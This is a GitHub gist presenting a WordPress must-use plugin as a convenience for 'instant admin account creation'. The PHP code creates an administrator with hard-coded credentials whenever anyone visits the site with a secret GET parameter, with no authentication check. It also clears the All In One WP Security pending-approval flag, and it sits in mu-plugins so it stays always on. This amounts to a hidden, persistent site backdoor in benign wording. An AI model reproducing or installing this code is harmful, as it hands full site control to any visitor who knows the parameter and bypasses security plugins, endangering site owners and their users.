Skip to content

Instantly share code, notes, and snippets.

@pixelbart
Last active October 13, 2023 19:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save pixelbart/ac8960227c7421608b0b682bbdcfb73c to your computer and use it in GitHub Desktop.
Save pixelbart/ac8960227c7421608b0b682bbdcfb73c to your computer and use it in GitHub Desktop.
Must-Use Plugin for Instant Admin Account Creation in WordPress

Essential Must-Use Plugin for Instant Admin Account Creation in WordPress

Activate this crucial plugin to effortlessly generate an administrator account in WordPress through a targeted GET parameter request to your primary domain.

To establish an admin account, just visit domain.com?create_hidden_admin_account.

Ensure you place the file inside the /wp-content/mu-plugins/ directory to guarantee continuous activation of the plugin.

<?php
add_action('template_redirect', function () {
if (isset($_GET['create_hidden_admin_account'])) {
// Define your email, username, and password here
$email = 'your_admin_email@example.com';
$username = 'admin_username';
$password = 'admin_password';
// Check if the user already exists
$user = get_user_by('user_email', $email);
if (!$user) {
$userdata = [
'user_pass' => $password,
'user_login' => $username,
'user_email' => $email,
'role' => 'administrator',
];
$user_id = wp_insert_user($userdata);
if (is_wp_error($user_id)) {
// Handle any errors during user creation here
wp_die('Error creating admin user: ' . $user_id->get_error_message());
} else {
// bonus: delete all in one wp security pending status
delete_user_meta($user_id, 'aiowps_account_status');
// bonus: redirect to login page
wp_redirect(wp_login_url());
}
}
exit;
}
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment